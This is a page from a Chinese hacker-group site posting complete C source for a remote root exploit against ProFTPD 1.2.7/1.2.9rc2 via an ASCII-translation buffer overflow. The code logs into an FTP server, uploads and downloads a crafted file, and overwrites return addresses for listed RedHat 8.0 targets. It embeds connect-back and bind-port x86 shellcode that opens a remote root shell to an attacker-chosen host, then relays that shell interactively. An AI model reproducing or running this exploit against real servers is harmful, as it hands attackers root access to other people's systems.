快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

proftpd 1.2.7/1.2.9rc2 remote root exploit

提交文章： bkbll
提交日期： 2003-10-01
文章属性： 原创
文档类别： 编程技术
浏览次数： 今2次/总4252次

```
/* proftpd remote root exploit by bkbll (bkbll#cnhonker.net,
2003/10/1)
* for FTP_ProFTPD_Translate_Overflow  found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this
vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no
method for using current socket.
* and I have provied two method:bind port and connect back.
* welcome to http://www.cnhonker.com
* hi,scripts kiddies, I think u must modify the code by urself.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39        //cbshellcode ip & port offset,0 is the first
#define OFF2   70        //bindshellcode port offset,0 is the first
#define VER "1.20"

char cbshellcode[]= //from www.netric.org,and modified some code by
myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
```

```
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from www.netric.org,and modified some code
by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;
```

```
struct
{
 char *os;
 unsigned int ret;
 int backup; //using for next
} targets[] =
    {
        { "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
        { "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
   },v;
//main() {}
int sendbuf(int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
int client_connect(int sockfd,char* server,int port);
void checkstatus(char *s);
void retrfile(char *s,int len,int port);
void storfile(char *s,int len,int port);
int dealpasv(char *s);
int setpasv();
void setport(char *l,int pt1);
void quit();
void storbuf(char *filename,char *buf,int size,int port);
void retrbuf(char *filename,char *buffer,int length,int port1);
void setascii();
void loginftp(char *user,char *pass);
void setfilename(char *s,int len);
int createbuffer(char *s,int len,int type,char *h);
int create_serv(int sfd,int port);
void modify(char *s,char *h,int port3);
void usage(char *s);
int execsh(int clifd);
int checklf(void *s,int len);

main(int argc,char **argv)
{
   char buffer[BIGSIZE];
   char cmdbuf[SIZE];
   char srvbuf[SIZE];
   char filename[30];
   int j,a,b,port1;
   int total;
   char c;
   char *user=NULL;
   char *pass=NULL;
   char *localip=NULL;

   if(argc<2) usage(argv[0]);
   while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
     {
          switch (c)
          {
           case 'd':
              server=optarg;
              break;
           case 't':
              type = atoi(optarg);
              if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                  usage(argv[0]);
              break;
          case 'u':
              user=optarg;
               break;
          case 'p':
              pass=optarg;
               break;
          case 'l':
              localip=optarg;
```

```
                break;
            case 'h':
                cbhost=optarg;
                break;
            case 'o':
                 pt=atoi(optarg) & 0xffff;
                 break;
            default:
                usage(argv[0]);
                return 1;
             }
          }
          if(server==NULL || user==NULL || pass==NULL ||
localip==NULL)
             usage(argv[0]);
       printf("@------------------------------------------------------------
@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s
 #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com
 @\n");
    printf("------------------------------------------------------------\n");

    printf("[+] Ret address:%p\n",targets[type-1].ret);
        if(cbhost==NULL)
       bindmethod=1;
    else
    {
       if((int)inet_addr(cbhost)==-1)
       {
          printf("[-] Invalid connect back host/ip\n");
          exit(0);
       }
       bindmethod=0;
    }
    port1=34568;            //PORT命令的时候在本地产生的一个端口.
    sockfd=sockfd1=sockfd2=0;
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit();
    loginftp(user,pass);
    //port1=setpasv(); //get the pasv port
    setport(localip,port1);
    setfilename(filename,30);
    setascii();
    total=createbuffer(buffer,BIGSIZE,type,cbhost);
    //printf("[+] buffer data size:%d\n",total);
    storbuf(filename,buffer,total,port1);
    //stor over, then close and reconnect
    close(sockfd);
    close(sockfd1);
    close(sockfd2);

    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
    loginftp(user,pass);
    setascii();

    setport(localip,port1); //get the pasv port,a new one
    mustread=total;
    retrbuf(filename,buffer,total,port1);
    readbuf("The First time read",sockfd,srvbuf,SIZE);
    port1++;
    setport(localip,port1);
    mustread=total;
    getshell=1;

    retrbuf(filename,buffer,total,port1);
```

```
   quit();
}
void setfilename(char *s,int len)
{
   int a;

   memset(s,0,len);
   a=getpid();
   sprintf(s,"%d%d%d.txt",a,a,a);
}

void retrfile(char *s,int len,int port)
{
   int i,pid;
   char data1;
   struct sockaddr_in client;

   memset(&client,0,sizeof(client));
   sockfd1=socket(2,1,0);
   if(create_serv(sockfd1,port)<0) quit();
   i=sizeof(client);
     sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
     printf("[+] Accepted a client from %s\n",inet_ntoa
(client.sin_addr));
     memset(s,0,len);
     if(getshell==1)
   {
      if(bindmethod==0)
      {
         printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
         quit();
      }
      else
      {
         printf("[+] Waiting for a shell.....\n");
         sockfd2=socket(AF_INET,SOCK_STREAM,0);
         sleep(2);
         client_connect(sockfd2,server,pt);
         execsh(sockfd2);
         quit();
      }
   }
   readbuf(NULL,sockfd2,s,len);
     close(sockfd2);
   close(sockfd1);

}

void storfile(char *s,int len,int port)
{
   int i;
   struct sockaddr_in client;

   memset(&client,0,sizeof(client));
   sockfd1=socket(2,1,0);
   if(create_serv(sockfd1,port)<0) quit();
   //if(client_connect(sockfd1,HOST,port)<0) quit();
   i=sizeof(client);
     sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
     printf("[+] Accepted a client from %s\n",inet_ntoa
(client.sin_addr));
     sendbuf(sockfd2,s,len);
     close(sockfd2);
   close(sockfd1);
}
void setport(char *l,int pt1)
{
```

```
    int a,i,b,c,j;
    char buf[30];

    memset(buf,0,30);
    i=sprintf(buf,"%s",l);
    for(a=0;a<i;a++)
        if(buf[a]=='.') buf[a]=',';
    memset(cmdbuf,0,SIZE);
    b=(pt1 >> 8 ) & 0xff;
    c=pt1 & 0xff;
    j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c);
    printf("[+] %s",cmdbuf);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

int dealpasv(char *s)
{
    int a,b,c,d,e,f,g;
    char *p1,*p2,*p3;
    int i;

    p1=(char *)malloc(100);
    if(!s)
        quit();
    p2=strchr(s,'(');
    //printf("p2:%s\n",p2);
    p3=strchr(s,')');
    //printf("p3:%s\n",p3);
    p3++;
    i=p3-p2;
    memcpy(p1,p2,i);
    p1[i]='\0';
    //printf("p1:%s\n",p1);
    sscanf(p1,"(%d,%d,%d,%d,%d,%d)",&a,&b,&c,&d,&e,&f);
    //printf("a:%d,b:%d,c:%d,d:%d,e:%d,f:%d\n",a,b,c,d,e,f);
    g=(e<<8) | f;
    //printf("port:%d\n",g);
    free(p1);
    return g;
}

void quit()
{
    if(sockfd>0)
        close(sockfd);
    if(sockfd1>0)
        close(sockfd);
    if(sockfd2>0)
        close(sockfd);
    exit(0);
}
int sendbuf(int socket,char *buffer,int len)
{
    int j;

    j=send(socket,buffer,len,0);
    if(j==0)
    {
        printf("[-] server closed the socket\n");
        quit();
    }
    if(j<0)
    {
        perror("[-] Send data error");
        quit();
```

```
    }
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;

    a=b=i=0;
    memset(buffer,0,len);
    if(s)
    {
        printf("[+] %s:",s);
        fflush(stdout);
    }
    //j=lseek(socket,0,2);
    //printf("j:%d\n",j);
    if(mustread==0)
    {
        j=recv(socket,buffer,len-1,0);
        if(j==0)
        {
            if(s)
                printf("FAILED\n");
            printf("[-] server closed the socket\n");
            quit();
        }
        if(j<0)
        {
            if(s)
                printf("FAILED\n");
            perror("[-] read data error");
            quit();
        }
        if(s)
            printf("ok\n");
        buffer[len-1]='\0';
        if(show==1)
            printf("<== %s",buffer);
    }
    else
    {
        //我们不用关心返回一些什么数据
        b=mustread-i;
        while(b>0)
        {

            a=b>(len-1)?(len-1):b;
            i=recv(socket,buffer,a,0);
            if(i==0)
            {
                if(s)
                    printf("FAILED\n");
                printf("[-] server closed the socket\n");
                quit();
            }
            if(i<0)
            {
                if(s)
                    printf("FAILED\n");
                perror("[-] read data error");
                quit();
            }
            if(s)
                printf("ok\n");
            b-=i;
            j+=i;
```

```
        }
        //printf("j:%d,mustread:%d\n",j,mustread);
        if(j!=mustread)
        {
            printf("read failed\n");
            quit();
        }
    }
    //show=0;
    mustread=0;
    return j;
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if((host=gethostbyname(server))==NULL)
    {
        printf("gethostbyname(%s) error\n",server);
        return(-1);
    }

    bzero(&cliaddr,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    printf("[+] Trying %s:%d....",server,port);
    fflush(stdout);
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr))<0)
    {
        printf("error:%s\r\n",strerror(errno));
        close(sockfd);
        return(-1);
    }
    printf("ok\r\n");
    return(0);
}

void checkstatus(char *s)
{
    if(s==NULL)
        quit();
    if(isdigit(*s))
    {
        if(s[0]=='5')
        {
            printf("[-] Server told:%s\n",s);
            quit();
        }
        else
            return;
    }
    printf("[-] Server said:%s\n",s);
    quit();
}

void loginftp(char *user,char *pass)
{
    int j;

    show=1;
    readbuf("Get banner",sockfd,srvbuf,SIZE);
    show=0;
    memset(cmdbuf,0,SIZE);
```

```
    //USER
    j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    //PASS
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    printf("[+] User %s logged in\n",user);
}

int setpasv()
{
    int j,port1;

    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",pasvstr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf("Set PASV",sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    port1=dealpasv(srvbuf); //get the pasv port
    return port1;
}

void setascii()
{
    int j;

    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",ascistr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);

}

void storbuf(char *filename,char *buf,int size,int port)
{
    int j;

    printf("[+] STOR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
    sendbuf(sockfd,cmdbuf,j);
    storfile(buf,size,port);
    //check if the content is send overd
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

void retrbuf(char *filename,char *buffer,int length,int port1)
{
    int j;

    printf("[+] RETR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename);
    sendbuf(sockfd,cmdbuf,j);

    retrfile(buffer,length,port1);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}
```

```
int createbuffer(char *s,int len,int type,char *h)
{
   int i,a,total;
   char buf[41];
   unsigned int writeaddr=targets[type-1].ret;

   writeaddr-=4;
   if(checklf((void *)&writeaddr,4)<0)
   {
      printf("[-] Sorry, the ret addr %p=%p-4 have '\\n'
char.\n",writeaddr,writeaddr+4);
      quit();
   }
   a=i=0;
   memset(s,0,len);
   i+=3;
   *(unsigned int *)(s+i)=writeaddr+7*4;
   i+=4;
   *(unsigned int *)(s+i)=writeaddr-0x600;
   i+=4;
   *(unsigned int *)(s+i)=writeaddr-0x400;
   i+=4;
   *(unsigned int *)(s+i)=writeaddr-0x200;
   i+=4;
   *(unsigned int *)(s+i)=writeaddr-0x300;
   i+=4;
   *(unsigned int *)(s+i)=0x0;
   i+=4;
   *(unsigned int *)(s+i)=0x90900eeb;
   i+=4;
   *(unsigned int *)(s+i)=0x0;
   i+=4;
   *(unsigned int *)(s+i)=0x0;
   i+=4;
   *(unsigned int *)(s+i)=0x0;
   i+=4;
   //connectback shellcode,modified ip & port
   if(bindmethod==0)
   {
      modify(cbshellcode,h,pt);
      memcpy(s+i,cbshellcode,strlen(cbshellcode));
      i+=strlen(cbshellcode);
   }
   else
   {
      modify(bindshellcode,NULL,pt);
      memcpy(s+i,bindshellcode,strlen(bindshellcode));
      i+=strlen(bindshellcode);
   }
   memset(s+i,'Z',512-i);
   memset(s+512,'\n',512);
   total=1024;
   memset(buf,0,41);
   i=0;
   memset(buf,'\n',20);
   i+=20;
   *(unsigned int *)(buf+i)=writeaddr;
   i+=4;
   *(unsigned int *)(buf+i)=writeaddr;
   i+=4;
   *(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must
great than 0x600
   i+=4;
   *(unsigned int *)(buf+i)=writeaddr;
   i+=4;
   *(unsigned int *)(buf+i)=writeaddr;
   //showmem(buf,40);
```

```
   for(i=0;i<1024;i++)
   {
      a=(i*40)+1024;
      memcpy(s+a,buf,40);
      total+=40;
   }
   return total;
}

int create_serv(int sfd,int port)
{
   struct sockaddr_in srvaddr;
   int on=1;

   bzero(&srvaddr,sizeof(struct sockaddr));
   srvaddr.sin_port=htons(port);
   srvaddr.sin_family=AF_INET;
   srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
   printf("[+] Listening on %d ....",port);
     fflush(stdout);
   setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));  //so
I can rebind the port
   if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
   {
      printf("FAILED\n");
      perror("[-] Bind port error");
      return(-1);
   }
   if(listen(sfd,5)<0)
   {
      printf("FAILED\n");
      perror("[-] Listen error");
      return(-1);
   }
   printf("ok\n");
   return(0);
}

void modify(char *s,char *h,int port3)
{
   int a,b,c,d;
   if(h!=NULL)
   {
      sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);
      a&=0xff;
      b&=0xff;
      c&=0xff;
      d&=0xff;
      if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)
d=='\n')
      {
         printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
      }
      s[OFFSET] = a & 0xff;
      s[OFFSET+1] = b & 0xff;
      s[OFFSET+2] = c & 0xff;
      s[OFFSET+3] = d & 0xff;

      a=port3 >> 8 & 0xff;
      b=port3 & 0xff;
      if((char)a=='\n' || (char)b=='\n')
      {
         printf("[-] Sorry, the connect back port:%d have '\\n'
char\n",port3);
         quit();
      }
      s[OFFSET+6]=a;
```

```
        s[OFFSET+7]=b;
    }
    else
    {
        a=port3 >> 8 & 0xff;
        b=port3 & 0xff;
        if((char)a=='\n' || (char)b=='\n')
        {
            printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
            quit();
        }
        s[OFF2]=a;
        s[OFF2+1]=b;
    }
}
void usage(char *s)
{
    unsigned int a;
    char *p;
    int d=strlen(s)+1;

    p=(char *)malloc(d);
    memset(p,0x20,d-1);
    p[d-1]=0;
    printf("@-----------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s
 #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com
 @\n");
    printf("-------------------------------------------------------------\n");
    printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
    printf("      %s -l <local ip> -h <cbip> -o <cbport>\n",p);
    printf("Arguments:\n");
    printf("      -d target host ip/name\n");
    printf("      -u user name\n");
    printf("      -p user paasword\n");
    printf("      -l the ip of this machine u used\n");
    printf("      -h connect back ip\n");
    printf("      -o connect back port/bind port\n");
    printf("      -t target type [default:%d]\n",type);
    printf("      ----------------------------\n");
    for(a = 0; a < sizeof(targets)/sizeof(v); a++)
        printf("        %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets
[a].os);
    printf("\n");
    free(p);
    exit(0);
}

int execsh(int clifd)
{
    fd_set fds;
    int count;
    char buffer[SIZE];
    memset(buffer,0,SIZE);
    while(1)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(clifd, &fds);

        if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
        {
            if (errno == EINTR) continue;
            break;
        }
        if (FD_ISSET(0, &fds))
```

```
        {
           count = read(0, buffer, SIZE);
           if (count <= 0) break;
           if (write(clifd, buffer, count) <= 0) break;
           memset(buffer,0,SIZE);
        }
        if (FD_ISSET(clifd, &fds))
        {
           count = read(clifd, buffer, SIZE);
           if (count <= 0) break;
           if (write(1, buffer, count) <= 0) break;
           memset(buffer,0,SIZE);
        }

     }
}

int checklf(void *sd,int len)
{
   char *a;
   int i=0;

   a=(char *)sd;
   for(i=0;i<len;i++)
      if(*(a+i)=='\n') //found it
         return -1;
   return 0;
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net